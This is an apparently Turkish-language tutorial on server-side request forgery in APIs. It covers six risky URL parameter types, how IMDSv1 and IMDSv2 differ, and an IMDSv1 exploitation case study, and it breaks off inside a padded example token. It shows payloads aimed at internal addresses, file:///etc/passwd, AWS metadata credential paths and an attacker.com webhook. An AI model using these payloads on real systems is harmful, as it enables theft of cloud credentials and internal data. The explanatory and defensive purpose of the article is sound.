API’ler, modern yaz\u0131l\u0131m mimarilerinin bel kemi\u011fini olu\u015fturur ve uygulamalar\u0131n birbiriyle ileti\u015fim kurmas\u0131n\u0131 sa\u011flar. Ancak, bu g\u00fc\u00e7l\u00fc entegrasyon noktalar\u0131, do\u011fru \u015fekilde tasarlanmad\u0131\u011f\u0131nda ciddi g\u00fcvenlik zafiyetlerine davetiye \u00e7\u0131karabilir. Bu zafiyetlerden biri de Sunucu Tarafl\u0131 \u0130stek Sahtecili\u011fi (Server-Side Request Forgery – SSRF) olarak bilinir. SSRF, bir sald\u0131rgan\u0131n, zafiyetli sunucuyu kullanarak dahili veya harici a\u011fdaki ba\u015fka bir hedefe istek g\u00f6ndermesine olanak tan\u0131yan kritik bir g\u00fcvenlik a\u00e7\u0131\u011f\u0131d\u0131r. Bu makale, API’lerde SSRF’ye yol a\u00e7an alt\u0131 yayg\u0131n URL kabul eden parametre tipini inceleyecek ve \u00f6zellikle Amazon Web Services (AWS) ba\u011flam\u0131nda IMDSv1 ve IMDSv2 aras\u0131ndaki fark\u0131n bu zafiyetin ciddiyetini nas\u0131l belirledi\u011fini derinlemesine ele alacakt\u0131r.<\/p>\n
SSRF, ad\u0131ndan da anla\u015f\u0131laca\u011f\u0131 gibi, bir sunucunun kendi iste\u011fiymi\u015f gibi g\u00f6r\u00fcnen ancak asl\u0131nda sald\u0131rgan taraf\u0131ndan manip\u00fcle edilmi\u015f bir iste\u011fi g\u00f6ndermesi durumudur. Bu zafiyet, genellikle bir web uygulamas\u0131n\u0131n kullan\u0131c\u0131 taraf\u0131ndan sa\u011flanan bir URL’yi al\u0131p, bu URL’ye dahili olarak istek g\u00f6ndermesiyle ortaya \u00e7\u0131kar. \u00d6rne\u011fin, bir web sitesi, kullan\u0131c\u0131n\u0131n belirtti\u011fi bir URL’deki resmi \u00e7ekip g\u00f6stermek i\u00e7in bir servis kullanabilir. E\u011fer bu URL do\u011fru \u015fekilde do\u011frulanmazsa, sald\u0131rgan bu \u00f6zelli\u011fi kendi lehine kullanarak sunucunun eri\u015febildi\u011fi dahili kaynaklara (veritabanlar\u0131, di\u011fer dahili servisler, bulut metadata servisleri gibi) istek g\u00f6nderebilir.<\/p>\n
SSRF’nin tehlikesi, sunucunun genellikle d\u0131\u015f d\u00fcnyadan izole edilmi\u015f veya sadece belirli dahili servislerle ileti\u015fim kurmas\u0131 beklenen kaynaklara eri\u015febilmesinden kaynaklan\u0131r. Bir sald\u0131rgan, SSRF zafiyetini kullanarak \u015funlar\u0131 ger\u00e7ekle\u015ftirebilir:<\/p>\n
\u00d6zetle, SSRF, sunucunun g\u00fcvenli\u011fini a\u015fan ve i\u00e7eriden bir sald\u0131r\u0131 ba\u015flat\u0131lmas\u0131na olanak tan\u0131yan \u00e7ok y\u00f6nl\u00fc ve y\u0131k\u0131c\u0131 bir zafiyettir. Bu nedenle, API’leri tasarlarken ve geli\u015ftirirken bu t\u00fcr zafiyetlere kar\u015f\u0131 proaktif \u00f6nlemler almak b\u00fcy\u00fck \u00f6nem ta\u015f\u0131r. G\u00fcvenli kodlama pratikleri ve s\u0131k\u0131 giri\u015f do\u011frulama mekanizmalar\u0131, bu riskleri minimize etmenin anahtar\u0131d\u0131r.<\/p>\n
API’ler genellikle \u00e7e\u015fitli ama\u00e7larla URL’leri parametre olarak kabul eder. Bu parametrelerin do\u011fru \u015fekilde i\u015flenmemesi, SSRF zafiyetine kap\u0131 aralayabilir. \u0130\u015fte API’lerde SSRF’ye en s\u0131k rastlanan alt\u0131 URL kabul eden parametre tipi:<\/p>\n
url<\/code>, image_url<\/code>, file<\/code>)<\/h3>\nBir\u00e7ok uygulama, kullan\u0131c\u0131lar\u0131n bir URL sa\u011flayarak profil resmi, belge veya ba\u015fka bir medya dosyas\u0131n\u0131 y\u00fcklemesine veya \u00f6nizlemesine olanak tan\u0131r. Uygulama, belirtilen URL’deki i\u00e7eri\u011fi sunucu taraf\u0131nda indirir ve i\u015fler. E\u011fer bu URL do\u011frulanmazsa, sald\u0131rgan dahili IP adreslerini veya yerel dosya yollar\u0131n\u0131 hedefleyebilir.<\/p>\n
\n\nGET \/api\/upload_image?url=http:\/\/example.com\/profile.jpg\n <\/code><\/pre>\n<\/p><\/div>\nSald\u0131rgan, url<\/code> parametresini http:\/\/169.254.169.254\/latest\/meta-data\/<\/code> veya file:\/\/\/etc\/passwd<\/code> gibi dahili veya yerel kaynaklarla de\u011fi\u015ftirerek sunucunun bu kaynaklara istek g\u00f6ndermesini sa\u011flayabilir.<\/p>\n2. Webhook veya Geri \u00c7a\u011fr\u0131 URL’leri (callback<\/code>, webhook_url<\/code>, notify_url<\/code>)<\/h3>\nWebhooks, bir olay meydana geldi\u011finde (\u00f6rne\u011fin, bir \u00f6deme i\u015flemi tamamland\u0131\u011f\u0131nda veya bir kullan\u0131c\u0131 kaydoldu\u011funda) belirli bir URL’ye otomatik olarak HTTP iste\u011fi g\u00f6nderen mekanizmalard\u0131r. Geli\u015ftiriciler, bu URL’yi genellikle API arac\u0131l\u0131\u011f\u0131yla yap\u0131land\u0131rabilirler. E\u011fer API, bu geri \u00e7a\u011fr\u0131 URL’sini yeterince do\u011frulamadan kabul ederse, sald\u0131rgan kendi kontrol\u00fcndeki bir sunucu yerine dahili bir IP adresine veya ba\u015fka bir hassas hedefe istek g\u00f6nderilmesini sa\u011flayabilir.<\/p>\n
\n\nPOST \/api\/register_webhook\n{\n \"event_type\": \"payment_completed\",\n \"webhook_url\": \"http:\/\/attacker.com\/listener\"\n}\n <\/code><\/pre>\n<\/p><\/div>\nBurada webhook_url<\/code> parametresi http:\/\/127.0.0.1\/admin<\/code> olarak de\u011fi\u015ftirilerek, uygulama sunucusunun dahili y\u00f6netim paneline bir istek g\u00f6ndermesi sa\u011flanabilir.<\/p>\n3. Proxy veya Y\u00f6nlendirme Servisleri (proxy<\/code>, redirect_to<\/code>)<\/h3>\nBaz\u0131 API’ler, kullan\u0131c\u0131lar\u0131n belirli bir URL \u00fczerinden bir kayna\u011fa eri\u015fmesini sa\u011flamak i\u00e7in proxy g\u00f6revi g\u00f6r\u00fcr veya kullan\u0131c\u0131lar\u0131 belirtilen bir URL’ye y\u00f6nlendirir. Bu t\u00fcr servisler, \u00f6zellikle URL’nin nereye y\u00f6nlendirece\u011fini kontrol etmeyen uygulamalarda SSRF i\u00e7in b\u00fcy\u00fck bir risk olu\u015fturur. Sald\u0131rgan, bu \u00f6zelli\u011fi kullanarak, sunucunun dahili a\u011f\u0131ndaki bir hedefe istek g\u00f6ndermesini veya hassas bir kayna\u011fa y\u00f6nlendirilmesini sa\u011flayabilir.<\/p>\n
\n\nGET \/api\/proxy?url=http:\/\/external-service.com\/data\n <\/code><\/pre>\n<\/p><\/div>\nE\u011fer url<\/code> parametresi http:\/\/localhost\/metrics<\/code> olarak de\u011fi\u015ftirilirse, sald\u0131rgan sunucunun yerel metriklerini okuyabilir.<\/p>\n4. Veri Entegrasyonlar\u0131 ve Kaynak \u00c7ekme (source<\/code>, target<\/code>, data_url<\/code>)<\/h3>\nUygulamalar genellikle harici veya dahili kaynaklardan veri \u00e7ekmek i\u00e7in tasarlanm\u0131\u015ft\u0131r. \u00d6rne\u011fin, bir raporlama arac\u0131 belirli bir URL’den JSON veya XML verisi al\u0131p i\u015fleyebilir. Bu “kaynak” veya “hedef” URL’leri, sald\u0131rganlar i\u00e7in SSRF kap\u0131s\u0131 olabilir. Sald\u0131rgan, bu parametreleri kullanarak sunucunun dahili a\u011f\u0131ndaki veritabanlar\u0131na, depolama sistemlerine veya di\u011fer API’lere eri\u015febilir.<\/p>\n
\n\nPOST \/api\/import_data\n{\n \"data_source_url\": \"http:\/\/external-data-provider.com\/data.json\"\n}\n <\/code><\/pre>\n<\/p><\/div>\ndata_source_url<\/code> parametresi http:\/\/192.168.1.100\/admin_backup.zip<\/code> olarak de\u011fi\u015ftirilerek, sunucunun dahili a\u011f\u0131ndaki bir yedekleme dosyas\u0131na eri\u015fim denenebilir.<\/p>\n5. XML\/JSON Ayr\u0131\u015ft\u0131rma ve D\u00f6n\u00fc\u015ft\u00fcrme Servisleri (xml_input<\/code>, json_payload<\/code>)<\/h3>\nBaz\u0131 API’ler, XML veya JSON gibi yap\u0131land\u0131r\u0131lm\u0131\u015f veri formatlar\u0131n\u0131 i\u015flerken, bu verilerin i\u00e7inde URL’ler i\u00e7erebilir. \u00d6zellikle XML parsers (ayr\u0131\u015ft\u0131r\u0131c\u0131lar\u0131), XML Harici Varl\u0131klar (XML External Entities – XXE) zafiyetleriyle birle\u015fti\u011finde SSRF’ye yol a\u00e7abilir. Sald\u0131rgan, XML payload’una harici bir varl\u0131k tan\u0131m\u0131 ekleyerek sunucunun dahili bir URL’ye istek g\u00f6ndermesini sa\u011flayabilir.<\/p>\n
\n\nPOST \/api\/process_xml\nContent-Type: application\/xml\n\n\n]>\n&xxe;<\/data>\n <\/code><\/pre>\n<\/p><\/div>\nBu \u00f6rnekte, file:\/\/\/etc\/passwd<\/code> yerine http:\/\/169.254.169.254\/latest\/meta-data\/<\/code> gibi bir URL kullan\u0131larak SSRF tetiklenebilir.<\/p>\n6. Open Graph veya Meta Veri \u00c7ekme (og_url<\/code>, preview_url<\/code>)<\/h3>\nSosyal medya payla\u015f\u0131mlar\u0131nda veya link \u00f6nizlemelerinde, bir URL’nin meta verilerini (ba\u015fl\u0131k, a\u00e7\u0131klama, resim gibi) \u00e7ekmek i\u00e7in kullan\u0131lan servisler bulunur. Bu servisler genellikle Open Graph protokol\u00fcn\u00fc kullanarak belirtilen URL’deki HTML i\u00e7eri\u011fini ayr\u0131\u015ft\u0131r\u0131r. E\u011fer bu URL giri\u015fi yeterince do\u011frulanmazsa, sald\u0131rgan sunucunun dahili a\u011f\u0131ndaki hedeflere istek g\u00f6ndermesini sa\u011flayabilir.<\/p>\n
\n\nGET \/api\/get_link_preview?url=http:\/\/example.com\/article\n <\/code><\/pre>\n<\/p><\/div>\nurl<\/code> parametresi http:\/\/localhost:8080\/healthcheck<\/code> gibi dahili bir servis URL’si ile de\u011fi\u015ftirilerek, sald\u0131rgan sunucunun dahili durumunu kontrol edebilir.<\/p>\nBu parametre tiplerinin her biri, dikkatli bir do\u011frulama ve g\u00fcvenlik kontrol\u00fc olmaks\u0131z\u0131n SSRF zafiyetlerine yol a\u00e7abilir. Geli\u015ftiricilerin, kullan\u0131c\u0131dan gelen t\u00fcm URL girdilerini beyaz liste (whitelist) yakla\u015f\u0131m\u0131yla filtrelemesi ve dahili IP adreslerine eri\u015fimi kesinlikle engellemesi hayati \u00f6neme sahiptir.<\/p>\n
Ger\u00e7ek D\u00fcnya Senaryolar\u0131: Zafiyetlerin \u0130\u015fleyi\u015fi<\/h2>\n
SSRF zafiyetlerinin soyut kavramlar olmaktan \u00e7\u0131k\u0131p, ger\u00e7ek d\u00fcnyada nas\u0131l somut tehditlere d\u00f6n\u00fc\u015ft\u00fc\u011f\u00fcn\u00fc anlamak, korunma y\u00f6ntemlerini de daha iyi kavramam\u0131z\u0131 sa\u011flar. \u0130\u015fte birka\u00e7 ger\u00e7ek d\u00fcnya senaryosu:<\/p>\n
Senaryo 1: E-ticaret Sitesinde Resim \u00d6nizleme Servisi<\/h3>\n
Bir e-ticaret sitesi, sat\u0131c\u0131lar\u0131n \u00fcr\u00fcn listelemelerine harici bir URL’den \u00fcr\u00fcn resmi eklemesine olanak tan\u0131r. Kullan\u0131c\u0131, \u00fcr\u00fcn resminin URL’sini girer ve site, bu URL’yi kullanarak resmi sunucu taraf\u0131nda indirir, boyutland\u0131r\u0131r ve \u00f6nizlemesini g\u00f6sterir. API \u00e7a\u011fr\u0131s\u0131 \u015f\u00f6yle g\u00f6r\u00fcnebilir:<\/p>\n
\n\nPOST \/api\/product\/add_image\n{\n \"product_id\": \"P12345\",\n \"image_url\": \"http:\/\/example-cdn.com\/product_images\/new_shoe.jpg\"\n}\n <\/code><\/pre>\n<\/p><\/div>\nBir sald\u0131rgan, bu image_url<\/code> parametresinin yeterince do\u011frulanmad\u0131\u011f\u0131n\u0131 fark eder. E-ticaret sitesinin AWS \u00fczerinde \u00e7al\u0131\u015ft\u0131\u011f\u0131n\u0131 ve IMDSv1 kulland\u0131\u011f\u0131n\u0131 varsayal\u0131m. Sald\u0131rgan, image_url<\/code> de\u011ferini http:\/\/169.254.169.254\/latest\/meta-data\/iam\/security-credentials\/<\/code> olarak de\u011fi\u015ftirir. Sunucu, bu URL’ye istek g\u00f6nderir ve AWS IAM ge\u00e7ici kimlik bilgilerini (access key ID, secret access key, session token) i\u00e7eren bir JSON yan\u0131t\u0131 al\u0131r. Sald\u0131rgan, bu kimlik bilgilerini ele ge\u00e7irerek, e-ticaret sitesinin AWS hesab\u0131ndaki S3 kovalar\u0131na, veritabanlar\u0131na veya di\u011fer servislere eri\u015febilir. Bu, stok bilgilerinin de\u011fi\u015ftirilmesinden m\u00fc\u015fteri verilerinin \u00e7al\u0131nmas\u0131na kadar geni\u015f bir yelpazede k\u00f6t\u00fc niyetli eylemlere yol a\u00e7abilir.<\/p>\nSenaryo 2: Kurumsal Uygulamada PDF Raporlama Servisi<\/h3>\n
B\u00fcy\u00fck bir kurumsal uygulama, y\u00f6neticilerin belirli bir URL’deki HTML i\u00e7eri\u011fini al\u0131p PDF’e d\u00f6n\u00fc\u015ft\u00fcrerek rapor olu\u015fturmas\u0131na olanak tan\u0131r. Bu \u00f6zellik, genellikle dahili raporlama \u015fablonlar\u0131n\u0131 veya harici kaynaklardan al\u0131nan verileri PDF format\u0131na d\u00f6n\u00fc\u015ft\u00fcrmek i\u00e7in kullan\u0131l\u0131r. API endpoint’i \u015fu \u015fekilde olabilir:<\/p>\n
\n\nPOST \/api\/generate_pdf_report\n{\n \"report_name\": \"Sales_Q3_2023\",\n \"source_url\": \"http:\/\/internal-reporting-dashboard\/sales_data?region=east\"\n}\n <\/code><\/pre>\n<\/p><\/div>\nSald\u0131rgan, source_url<\/code> parametresini manip\u00fcle ederek, sunucunun dahili a\u011f\u0131ndaki hassas bir y\u00f6netim aray\u00fcz\u00fcne (\u00f6rne\u011fin, http:\/\/192.168.1.50:8080\/admin<\/code>) veya bir veritaban\u0131 y\u00f6netim paneline (\u00f6rne\u011fin, http:\/\/localhost:3306\/phpmyadmin<\/code>) istek g\u00f6ndermesini sa\u011flayabilir. Sunucu, bu dahili sayfalar\u0131n i\u00e7eri\u011fini PDF’e d\u00f6n\u00fc\u015ft\u00fcr\u00fcp sald\u0131rgana geri g\u00f6nderebilir. B\u00f6ylece, sald\u0131rgan dahili a\u011fdaki hassas bilgilere, \u00f6rne\u011fin veritaban\u0131 \u015femalar\u0131na veya y\u00f6netici paneli oturumlar\u0131na, do\u011frudan eri\u015fim sa\u011flam\u0131\u015f olur. Bu, veri s\u0131z\u0131nt\u0131s\u0131 veya sistem yap\u0131land\u0131rmas\u0131n\u0131n de\u011fi\u015ftirilmesi gibi ciddi sonu\u00e7lara yol a\u00e7abilir.<\/p>\nSenaryo 3: Microservice Mimarisi \u0130\u00e7inde Webhook Entegrasyonu<\/h3>\n
Modern bir microservice mimarisinde, bir servis (\u00f6rne\u011fin, Kullan\u0131c\u0131 Y\u00f6netim Servisi) belirli bir olay (yeni kullan\u0131c\u0131 kayd\u0131 gibi) ger\u00e7ekle\u015fti\u011finde ba\u015fka bir servisi (\u00f6rne\u011fin, Bildirim Servisi) bilgilendirmek i\u00e7in bir webhook kullanabilir. Kullan\u0131c\u0131 Y\u00f6netim Servisi, Bildirim Servisi’nin webhook URL’sini bir yap\u0131land\u0131rma parametresi olarak kabul eder:<\/p>\n
\n\nPUT \/api\/user_service\/config\n{\n \"notification_webhook\": \"http:\/\/notification-service.internal\/webhook\/user_registered\"\n}\n <\/code><\/pre>\n<\/p><\/div>\nSald\u0131rgan, bu yap\u0131land\u0131rma API’sinde bir zafiyet bulur ve notification_webhook<\/code> parametresini http:\/\/127.0.0.1\/metrics<\/code> veya http:\/\/internal-monitoring-tool\/api\/status<\/code> gibi dahili bir izleme servisine y\u00f6nlendirir. Her yeni kullan\u0131c\u0131 kayd\u0131nda, Kullan\u0131c\u0131 Y\u00f6netim Servisi, sald\u0131rgan\u0131n belirtti\u011fi dahili URL’ye istek g\u00f6nderir. Bu sayede, sald\u0131rgan sunucunun dahili metriklerini izleyebilir, sistemin sa\u011fl\u0131k durumunu veya hassas yap\u0131land\u0131rma bilgilerini ele ge\u00e7irebilir. Bu t\u00fcr bir zafiyet, sald\u0131rgan\u0131n i\u00e7 a\u011fdaki di\u011fer servisleri haritaland\u0131rmas\u0131na ve daha karma\u015f\u0131k sald\u0131r\u0131lar i\u00e7in zemin haz\u0131rlamas\u0131na olanak tan\u0131r.<\/p>\nBu senaryolar, SSRF’nin ne kadar \u00e7e\u015fitli ba\u011flamlarda ortaya \u00e7\u0131kabilece\u011fini ve yanl\u0131\u015f yap\u0131land\u0131r\u0131lm\u0131\u015f URL kabul eden parametrelerin ne denli ciddi sonu\u00e7lara yol a\u00e7abilece\u011fini g\u00f6stermektedir. Bu nedenle, t\u00fcm URL giri\u015flerinin s\u0131k\u0131 bir \u015fekilde do\u011frulanmas\u0131 ve dahili a\u011flara eri\u015fimin k\u0131s\u0131tlanmas\u0131 kritik \u00f6neme sahiptir.<\/p>\n
IMDSv1 ve IMDSv2 Karar\u0131: SSRF Ciddiyetini Belirleyen Kritik Fark<\/h2>\n
Bulut ortamlar\u0131nda, \u00f6zellikle Amazon Web Services (AWS) kullan\u0131c\u0131lar\u0131 i\u00e7in, SSRF zafiyetlerinin ciddiyetini belirleyen en kritik fakt\u00f6rlerden biri, kullan\u0131lan Instance Metadata Service (IMDS) s\u00fcr\u00fcm\u00fcd\u00fcr. IMDS, EC2 \u00f6rneklerinin (sunucular\u0131n) kendi meta verilerine (\u00f6rne\u011fin, \u00f6rnek kimli\u011fi, b\u00f6lge, IAM rol\u00fc taraf\u0131ndan atanan ge\u00e7ici g\u00fcvenlik kimlik bilgileri) eri\u015fmesini sa\u011flayan bir servistir.<\/p>\n
IMDSv1: SSRF \u0130\u00e7in Kolay Hedef<\/h3>\n
IMDSv1, AWS EC2 \u00f6rneklerinin meta verilerine eri\u015fmek i\u00e7in basit bir istek modeline sahiptir. Bir EC2 \u00f6rne\u011fi i\u00e7inden, http:\/\/169.254.169.254\/latest\/meta-data\/<\/code> adresine yap\u0131lan basit bir GET iste\u011fi ile meta verilere eri\u015filebilir. \u00d6zellikle, bir IAM rol\u00fcne atanm\u0131\u015f ge\u00e7ici g\u00fcvenlik kimlik bilgileri, a\u015fa\u011f\u0131daki URL \u00fczerinden do\u011frudan al\u0131nabilir:<\/p>\n\n\nGET http:\/\/169.254.169.254\/latest\/meta-data\/iam\/security-credentials\/<rolename>\n <\/code><\/pre>\n<\/p><\/div>\nBu basit eri\u015fim mekanizmas\u0131, IMDSv1’i SSRF zafiyetleri i\u00e7in son derece cazip bir hedef haline getirir. Bir SSRF zafiyeti bulunan uygulamada, sald\u0131rgan yukar\u0131daki URL’yi kullanarak EC2 \u00f6rne\u011finin IAM rol\u00fcne atanan kimlik bilgilerini kolayca ele ge\u00e7irebilir. Bu kimlik bilgileri, AWS hesab\u0131nda izin verilen t\u00fcm i\u015flemleri ger\u00e7ekle\u015ftirmek i\u00e7in kullan\u0131labilir. Bu, S3 kovalar\u0131ndaki verilere eri\u015fimden, EC2 \u00f6rneklerini ba\u015flatmaya, veritabanlar\u0131n\u0131 silmeye kadar \u00e7ok geni\u015f bir yetki yelpazesi anlam\u0131na gelir. Bu nedenle, IMDSv1 kullanan bir sistemdeki SSRF zafiyeti, genellikle “kritik” veya “y\u00fcksek” ciddiyet seviyesinde de\u011ferlendirilir.<\/p>\n
IMDSv2: SSRF’ye Kar\u015f\u0131 Geli\u015fmi\u015f Koruma<\/h3>\n
AWS, IMDSv1’in SSRF zafiyetlerine kar\u015f\u0131 savunmas\u0131zl\u0131\u011f\u0131n\u0131 gidermek i\u00e7in IMDSv2’yi tan\u0131tt\u0131. IMDSv2, “Token-bazl\u0131 oturum kimlik do\u011frulamas\u0131” (token-based session authentication) ad\u0131 verilen daha g\u00fcvenli bir mekanizma kullan\u0131r. Bu mekanizma, meta verilere eri\u015fmek i\u00e7in iki ad\u0131ml\u0131 bir s\u00fcre\u00e7 gerektirir:<\/p>\n
\n- \u0130lk olarak, bir HTTP PUT iste\u011fi ile bir oturum token’\u0131 al\u0131n\u0131r. Bu istek, \u00f6zel bir HTTP ba\u015fl\u0131\u011f\u0131 olan
X-aws-ec2-metadata-token-ttl-seconds<\/code> i\u00e7ermelidir.<\/li>\n- Ard\u0131ndan, al\u0131nan token, meta veri URL’sine yap\u0131lan HTTP GET iste\u011finin
X-aws-ec2-metadata-token<\/code> ba\u015fl\u0131\u011f\u0131nda g\u00f6nderilmelidir.<\/li>\n<\/ol>\n\n\n# Ad\u0131m 1: Token almak i\u00e7in PUT iste\u011fi\nPUT http:\/\/169.254.169.254\/latest\/api\/token \\\n -H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\"\n\n# Ad\u0131m 2: Token ile meta veriye eri\u015fmek i\u00e7in GET iste\u011fi\nGET http:\/\/169.254.169.254\/latest\/meta-data\/iam\/security-credentials\/<rolename> \\\n -H \"X-aws-ec2-metadata-token: <TOKEN_DE\u011eER\u0130>\"\n <\/code><\/pre>\n<\/p><\/div>\nBu iki ad\u0131ml\u0131 s\u00fcre\u00e7, IMDSv2’yi SSRF’ye kar\u015f\u0131 \u00e7ok daha diren\u00e7li hale getirir. \u00c7o\u011fu SSRF zafiyeti, yaln\u0131zca GET isteklerini tetikleyebilir ve \u00f6zel HTTP ba\u015fl\u0131klar\u0131n\u0131 eklemeye izin vermez. Bu, sald\u0131rgan\u0131n ilk PUT iste\u011fini yaparak bir token almas\u0131n\u0131 ve ard\u0131ndan bu token’\u0131 ikinci GET iste\u011finde kullanmas\u0131n\u0131 engeller. Dolay\u0131s\u0131yla, IMDSv2’ye ge\u00e7i\u015f yapm\u0131\u015f bir sistemde SSRF zafiyeti bulunsa bile, sald\u0131rgan\u0131n IAM kimlik bilgilerini do\u011frudan ele ge\u00e7irme olas\u0131l\u0131\u011f\u0131 \u00f6nemli \u00f6l\u00e7\u00fcde azal\u0131r.<\/p>\n
IMDSv1’den IMDSv2’ye ge\u00e7i\u015f, AWS ortamlar\u0131nda SSRF’nin neden oldu\u011fu riskleri radikal bir \u015fekilde d\u00fc\u015f\u00fcr\u00fcr. Bu nedenle, AWS kullan\u0131c\u0131lar\u0131n\u0131n t\u00fcm EC2 \u00f6rneklerinde IMDSv2’yi zorunlu k\u0131lmalar\u0131 ve IMDSv1’i devre d\u0131\u015f\u0131 b\u0131rakmalar\u0131 \u015fiddetle tavsiye edilir. Bu karar, bir SSRF zafiyetinin olas\u0131 etkisini “kritik bir hesap ele ge\u00e7irme” durumundan “daha s\u0131n\u0131rl\u0131 bir bilgi s\u0131zd\u0131rma” durumuna d\u00fc\u015f\u00fcrebilir, bu da zafiyetin ciddiyetini do\u011frudan etkiler.<\/p>\n
IMDSv1’in SSRF ile \u0130stismar\u0131: Bir Vaka Analizi<\/h2>\n
IMDSv1’in SSRF zafiyetleriyle nas\u0131l istismar edildi\u011fini daha iyi anlamak i\u00e7in basit bir vaka analizine g\u00f6z atal\u0131m. Bu senaryo, yayg\u0131n bir zafiyetin nas\u0131l y\u0131k\u0131c\u0131 sonu\u00e7lar do\u011furabilece\u011fini g\u00f6stermektedir.<\/p>\n
Senaryo:<\/b> Bir web uygulamas\u0131, kullan\u0131c\u0131lar\u0131n harici bir URL’den bir profil foto\u011fraf\u0131 \u00e7ekip y\u00fcklemesine izin veren bir API u\u00e7 noktas\u0131na sahiptir. Uygulama, belirtilen URL’yi sunucu taraf\u0131nda indirir ve kullan\u0131c\u0131n\u0131n profilinde g\u00f6sterir. Bu uygulama, AWS EC2 \u00fczerinde \u00e7al\u0131\u015fmakta ve varsay\u0131lan olarak IMDSv1 kullanmaktad\u0131r. EC2 \u00f6rne\u011fine atanm\u0131\u015f bir IAM rol\u00fc (\u00f6rne\u011fin, MyWebAppRole<\/code>) bulunmaktad\u0131r ve bu rol\u00fcn S3 kovalar\u0131na yazma ve okuma yetkisi vard\u0131r.<\/p>\nVulnerable API U\u00e7 Noktas\u0131:<\/b><\/p>\n\n\nPOST \/api\/user\/profile_picture\nContent-Type: application\/json\n\n{\n \"user_id\": \"john.doe\",\n \"picture_url\": \"http:\/\/example.com\/user_pics\/john.jpg\"\n}\n <\/code><\/pre>\n<\/p><\/div>\nSald\u0131rgan\u0131n Ke\u015ffi:<\/b> Sald\u0131rgan, bu picture_url<\/code> parametresinin herhangi bir girdi do\u011frulamas\u0131 yap\u0131lmadan do\u011frudan sunucu taraf\u0131ndan istendi\u011fini fark eder. Yani, sunucu, picture_url<\/code>‘de belirtilen herhangi bir adrese istek g\u00f6ndermektedir.<\/p>\n\u0130stismar Ad\u0131mlar\u0131:<\/b><\/p>\n\n- \n
IMDSv1 Hedefleme:<\/b> Sald\u0131rgan, AWS EC2 \u00f6rneklerinin meta veri hizmetine eri\u015fmek i\u00e7in kullan\u0131lan \u00f6zel IP adresi olan 169.254.169.254<\/code>‘\u00fc bilir. Bu adrese yap\u0131lan isteklerin, EC2 \u00f6rne\u011finin dahili a\u011f\u0131ndan geldi\u011fi i\u00e7in g\u00fcvenlik duvar\u0131 taraf\u0131ndan engellenmedi\u011fini varsayar.<\/p>\n<\/li>\n- \n
IAM Rol Ad\u0131n\u0131 Tespit Etme (\u0130ste\u011fe Ba\u011fl\u0131 ama Faydal\u0131):<\/b> Sald\u0131rgan, ilk olarak IAM rol ad\u0131n\u0131 almak i\u00e7in a\u015fa\u011f\u0131daki payload’\u0131 dener:<\/p>\n\n\nPOST \/api\/user\/profile_picture\nContent-Type: application\/json\n\n{\n \"user_id\": \"john.doe\",\n \"picture_url\": \"http:\/\/169.254.169.254\/latest\/meta-data\/iam\/security-credentials\/\"\n}\n <\/code><\/pre>\n<\/p><\/div>\nSunucu bu URL’ye istek g\u00f6nderir ve yan\u0131t olarak muhtemelen MyWebAppRole<\/code> gibi bir rol ad\u0131 d\u00f6nd\u00fcr\u00fcr. Sald\u0131rgan, bu rol ad\u0131n\u0131, uygulaman\u0131n d\u00f6nd\u00fcrd\u00fc\u011f\u00fc hata mesajlar\u0131ndan veya do\u011frudan yan\u0131t i\u00e7eri\u011finden \u00e7\u0131karabilir.<\/p>\n<\/li>\n- \n
Ge\u00e7ici Kimlik Bilgilerini \u00c7alma:<\/b> Rol ad\u0131n\u0131 \u00f6\u011frendikten sonra, sald\u0131rgan ge\u00e7ici kimlik bilgilerini \u00e7almak i\u00e7in hedef URL’yi g\u00fcnceller:<\/p>\n\n\nPOST \/api\/user\/profile_picture\nContent-Type: application\/json\n\n{\n \"user_id\": \"john.doe\",\n \"picture_url\": \"http:\/\/169.254.169.254\/latest\/meta-data\/iam\/security-credentials\/MyWebAppRole\"\n}\n <\/code><\/pre>\n<\/p><\/div>\nSunucu bu URL’ye bir GET iste\u011fi g\u00f6nderir ve yan\u0131t olarak a\u015fa\u011f\u0131daki gibi bir JSON nesnesi al\u0131r:<\/p>\n
\n
\n{
\n \"Code\" : \"Success\",
\n \"LastUpdated\" : \"2023-10-27T10:00:00Z\",
\n \"Type\" : \"AWS-HMAC\",
\n \"AccessKeyId\" : \"ASIAVXXXXXXXXXXXXXXX\",
\n \"SecretAccessKey\" : \"wJalrXUtnFEMI\/K7MDENG\/bPxRfiCYEXAMPLEKEY\",
\n \"Token\" : \"IQoJb3JpZ2luX2VjELPxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx